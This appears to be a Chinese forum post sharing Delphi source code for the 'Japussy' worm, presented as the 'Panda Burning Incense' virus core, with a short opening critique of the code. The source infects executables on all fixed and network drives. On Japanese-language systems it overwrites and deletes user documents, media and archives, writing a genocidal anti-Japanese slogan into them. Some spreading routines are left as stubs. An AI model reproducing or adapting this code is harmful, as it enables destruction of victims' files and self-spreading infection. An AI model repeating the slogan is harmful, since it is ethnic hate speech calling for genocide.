要是這份代碼真是 "熊貓燒香病毒核心源代碼",那么從技術上講: 
作者的"水平"也好得有限呀,同時也說明這個病毒"大"得出奇! 
這樣的代碼,何以有如此大的動靜???是我們的防毒意識太差???還是殺毒程序太弱??? 

if IsJap then //是倭文操作系統 ...SmashFile(Fn); //摧毀文件 這點寫得比較脫離經濟. 


uses 
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; 
開頭就包含一堆大東西,看來作者是這個方面的"初"學者. 



熊貓燒香 - 核心源碼    
-------------------------------------------------------------------------------- 
僅供研究使用!後果自行負責  

代碼:-------------------------------------------------------------------------------- 
程序代碼 
program Japussy; 
uses 
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; 
const 
  HeaderSize = 82432;                  //病毒體的大小 
  IconOffset = $12EB8;                //PE文件主圖標的偏移量 
  
  //在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同 
  //查找2800000020的十六進制字符串可以找到主圖標的偏移量 
    
{ 
  HeaderSize = 38912;                  //Upx壓縮過病毒體的大小 
  IconOffset = $92BC;                  //Upx壓縮過PE文件主圖標的偏移量 
  
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe 
} 
  IconSize  = $2E8;                  //PE文件主圖標的大小--744字節 
  IconTail  = IconOffset + IconSize;  //PE文件主圖標的尾部 
  ID        = $44444444;              //感染標記 
  
  //我非常愛你碼，以備寫入 
  Catchword = $1$If a race need to be killed out, it must be Yamato. $1$ + 
              $1$If a country need to be destroyed, it must be Japan! $1$ + 
              $1$*** W32.Japussy.Worm.A ***$1$; 
{$R *.RES} 
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;  
  stdcall; external $1$Kernel32.dll$1$; //函數聲明 
var 
  TmpFile: string; 
  Si:      STARTUPINFO; 
  Pi:      PROCESS_INFORMATION; 
  IsJap:  Boolean = False; //日文操作系統標記 
{ 判斷是否為Win9x } 
function IsWin9x: Boolean; 
var 
  Ver: TOSVersionInfo; 
begin 
  Result := False; 
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); 
  if not GetVersionEx(Ver) then 
    Exit; 
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x 
    Result := True; 
end; 
{ 在流之間復制 } 
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; 
  dStartPos: Integer; Count: Integer); 
var 
  sCurPos, dCurPos: Integer; 
begin 
  sCurPos := Src.Position; 
  dCurPos := Dst.Position; 
  Src.Seek(sStartPos, 0); 
  Dst.Seek(dStartPos, 0); 
  Dst.CopyFrom(Src, Count); 
  Src.Seek(sCurPos, 0); 
  Dst.Seek(dCurPos, 0); 
end; 
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 } 
procedure ExtractFile(FileName: string); 
var 
  sStream, dStream: TFileStream; 
begin 
  try 
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 
    try 
      dStream := TFileStream.Create(FileName, fmCreate); 
      try 
        sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分 
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize); 
      finally 
        dStream.Free; 
      end; 
    finally 
      sStream.Free; 
    end; 
  except 
  end; 
end; 
{ 填充STARTUPINFO結構 } 
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); 
begin 
  Si.cb := SizeOf(Si); 
  Si.lpReserved := nil; 
  Si.lpDesktop := nil; 
  Si.lpTitle := nil; 
  Si.dwFlags := STARTF_USESHOWWINDOW; 
  Si.wShowWindow := State; 
  Si.cbReserved2 := 0; 
  Si.lpReserved2 := nil; 
end; 
{ 發帶毒郵件 } 
procedure SendMail; 
begin 
  //哪位仁兄愿意完成之？ 
end; 
{ 感染PE文件 } 
procedure InfectOneFile(FileName: string); 
var 
  HdrStream, SrcStream: TFileStream; 
  IcoStream, DstStream: TMemoryStream; 
  iID: LongInt; 
  aIcon: TIcon; 
  Infected, IsPE: Boolean; 
  i: Integer; 
  Buf: array[0..1] of Char; 
begin 
  try //出錯則文件正在被使用，退出 
    if CompareText(FileName, $1$JAPUSSY.EXE$1$) = 0 then //是自己則不感染 
      Exit; 
    Infected := False; 
    IsPE    := False; 
    SrcStream := TFileStream.Create(FileName, fmOpenRead); 
    try 
      for i := 0 to $108 do //檢查PE文件頭 
      begin 
        SrcStream.Seek(i, soFromBeginning); 
        SrcStream.Read(Buf, 2); 
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記 
        begin 
          IsPE := True; //是PE文件 
          Break; 
        end; 
      end; 
      SrcStream.Seek(-4, soFromEnd); //檢查感染標記 
      SrcStream.Read(iID, 4); 
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 
        Infected := True; 
    finally 
      SrcStream.Free; 
    end; 
    if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出 
      Exit; 
    IcoStream := TMemoryStream.Create; 
    DstStream := TMemoryStream.Create; 
    try 
      aIcon := TIcon.Create; 
      try 
        //得到被感染文件的主圖標(744字節)，存入流 
        aIcon.ReleaseHandle; 
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); 
        aIcon.SaveToStream(IcoStream); 
      finally 
        aIcon.Free; 
      end; 
      SrcStream := TFileStream.Create(FileName, fmOpenRead); 
      //頭文件 
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 
      try 
        //寫入病毒體主圖標之前的數據 
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset); 
        //寫入目前程序的主圖標 
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); 
        //寫入病毒體主圖標到病毒體尾部之間的數據 
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); 
        //寫入宿主程序 
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); 
        //寫入已感染的標記 
        DstStream.Seek(0, 2); 
        iID := $44444444; 
        DstStream.Write(iID, 4); 
      finally 
        HdrStream.Free; 
      end; 
    finally 
      SrcStream.Free; 
      IcoStream.Free; 
      DstStream.SaveToFile(FileName); //替換宿主文件 
      DstStream.Free; 
    end; 
  except; 
  end; 
end; 
{ 將目標文件寫入我非常愛你碼后刪除 } 
procedure SmashFile(FileName: string); 
var 
  FileHandle: Integer; 
  i, Size, Mass, Max, Len: Integer; 
begin 
  try 
    SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性 
    FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件 
    try 
      Size := GetFileSize(FileHandle, nil); //文件大小 
      i := 0; 
      Randomize; 
      Max := Random(15); //寫入我非常愛你碼的隨機次數 
      if Max < 5 then 
        Max := 5; 
      Mass := Size div Max; //每個間隔塊的大小 
      Len := Length(Catchword); 
      while i < Max do 
      begin 
        FileSeek(FileHandle, i * Mass, 0); //定位 
        //寫入我非常愛你碼，將文件徹底破壞掉 
        FileWrite(FileHandle, Catchword, Len); 
        Inc(i); 
      end; 
    finally 
      FileClose(FileHandle); //關閉文件 
    end; 
    DeleteFile(PChar(FileName)); //刪除之 
  except 
  end; 
end; 
{ 獲得可寫的驅動器列表 } 
function GetDrives: string; 
var 
  DiskType: Word; 
  D: Char; 
  Str: string; 
  i: Integer; 
begin 
  for i := 0 to 25 do //遍歷26個字母 
  begin 
    D := Chr(i + 65); 
    Str := D + $1$:$1$; 
    DiskType := GetDriveType(PChar(Str)); 
    //得到本地磁盤和網絡盤 
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then 
      Result := Result + D; 
  end; 
end; 
{ 遍歷目錄，感染和摧毀文件 } 
procedure LoopFiles(Path, Mask: string); 
var 
  i, Count: Integer; 
  Fn, Ext: string; 
  SubDir: TStrings; 
  SearchRec: TSearchRec; 
  Msg: TMsg; 
  function IsValidDir(SearchRec: TSearchRec): Integer; 
  begin 
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> $1$.$1$) and 
      (SearchRec.Name <> $1$..$1$) then 
      Result := 0 //不是目錄 
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> $1$.$1$) and 
      (SearchRec.Name <> $1$..$1$) then 
        Result := 1 //不是根目錄 
    else Result := 2; //是根目錄 
  end; 
begin 
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then 
  begin 
    repeat 
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑 
      if IsValidDir(SearchRec) = 0 then 
      begin 
        Fn := Path + SearchRec.Name; 
        Ext := UpperCase(ExtractFileExt(Fn)); 
        if (Ext = $1$.EXE$1$) or (Ext = $1$.SCR$1$) then 
        begin 
          InfectOneFile(Fn); //感染可執行文件        
        end 
        else if (Ext = $1$.HTM$1$) or (Ext = $1$.HTML$1$) or (Ext = $1$.ASP$1$) then 
        begin 
          //感染HTML和ASP文件，將Base64編碼后的病毒寫入 
          //感染瀏覽此網頁的所有用戶 
          //哪位大兄弟愿意完成之？ 
        end 
        else if Ext = $1$.WAB$1$ then //Outlook地址簿文件 
        begin 
          //獲取Outlook郵件地址 
        end 
        else if Ext = $1$.ADC$1$ then //Foxmail地址自動完成文件 
        begin 
          //獲取Foxmail郵件地址 
        end 
        else if Ext = $1$IND$1$ then //Foxmail地址簿文件 
        begin 
          //獲取Foxmail郵件地址 
        end 
        else  
        begin 
          if IsJap then //是倭文操作系統 
          begin 
            if (Ext = $1$.DOC$1$) or (Ext = $1$.XLS$1$) or (Ext = $1$.MDB$1$) or 
              (Ext = $1$.MP3$1$) or (Ext = $1$.RM$1$) or (Ext = $1$.RA$1$) or 
              (Ext = $1$.WMA$1$) or (Ext = $1$.ZIP$1$) or (Ext = $1$.RAR$1$) or 
              (Ext = $1$.MPEG$1$) or (Ext = $1$.ASF$1$) or (Ext = $1$.JPG$1$) or 
              (Ext = $1$.JPEG$1$) or (Ext = $1$.GIF$1$) or (Ext = $1$.SWF$1$) or 
              (Ext = $1$.PDF$1$) or (Ext = $1$.CHM$1$) or (Ext = $1$.AVI$1$) then 
                SmashFile(Fn); //摧毀文件 
          end; 
        end; 
      end; 
      //感染或刪除一個文件后睡眠200毫秒，避免CPU占用率過高引起懷疑 
      Sleep(200); 
    until (FindNext(SearchRec) <> 0); 
  end; 
  FindClose(SearchRec); 
  SubDir := TStringList.Create; 
  if (FindFirst(Path + $1$*.*$1$, faDirectory, SearchRec) = 0) then 
  begin 
    repeat 
      if IsValidDir(SearchRec) = 1 then 
        SubDir.Add(SearchRec.Name); 
    until (FindNext(SearchRec) <> 0); 
    end; 
  FindClose(SearchRec); 
  Count := SubDir.Count - 1; 
  for i := 0 to Count do 
    LoopFiles(Path + SubDir.Strings + $1$$1$, Mask); 
  FreeAndNil(SubDir); 
end; 
{ 遍歷磁盤上所有的文件 } 
procedure InfectFiles; 
var 
  DriverList: string; 
  i, Len: Integer; 
begin 
  if GetACP = 932 then //日文操作系統 
    IsJap := True; //去死吧！ 
  DriverList := GetDrives; //得到可寫的磁盤列表 
  Len := Length(DriverList); 
  while True do //死循環 
  begin 
    for i := Len downto 1 do //遍歷每個磁盤驅動器 
      LoopFiles(DriverList + $1$:$1$, $1$*.*$1$); //感染之 
    SendMail; //發帶毒郵件 
    Sleep(1000 * 60 * 5); //睡眠5分鐘 
  end; 
end; 
{ 主程序開始 } 
begin 
  if IsWin9x then //是Win9x 
    RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程 
  else //WinNT 
  begin 
    //遠程線程映射到Explorer進程 
    //哪位兄臺愿意完成之？ 
  end; 
  //如果是原始病毒體自己 
  if CompareText(ExtractFileName(ParamStr(0)), $1$Japussy.exe$1$) = 0 then 
    InfectFiles //感染和發郵件 
  else //已寄生于宿主程序上了，開始工作 
  begin 
    TmpFile := ParamStr(0); //創建臨時文件 
    Delete(TmpFile, Length(TmpFile) - 4, 4); 
    TmpFile := TmpFile + #32 + $1$.exe$1$; //真正的宿主文件，多一個空格 
    ExtractFile(TmpFile); //分離之 
    FillStartupInfo(Si, SW_SHOWDEFAULT); 
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 
      0, nil, $1$.$1$, Si, Pi); //創建新進程運行之 
    InfectFiles; //感染和發郵件 
  end; 
end.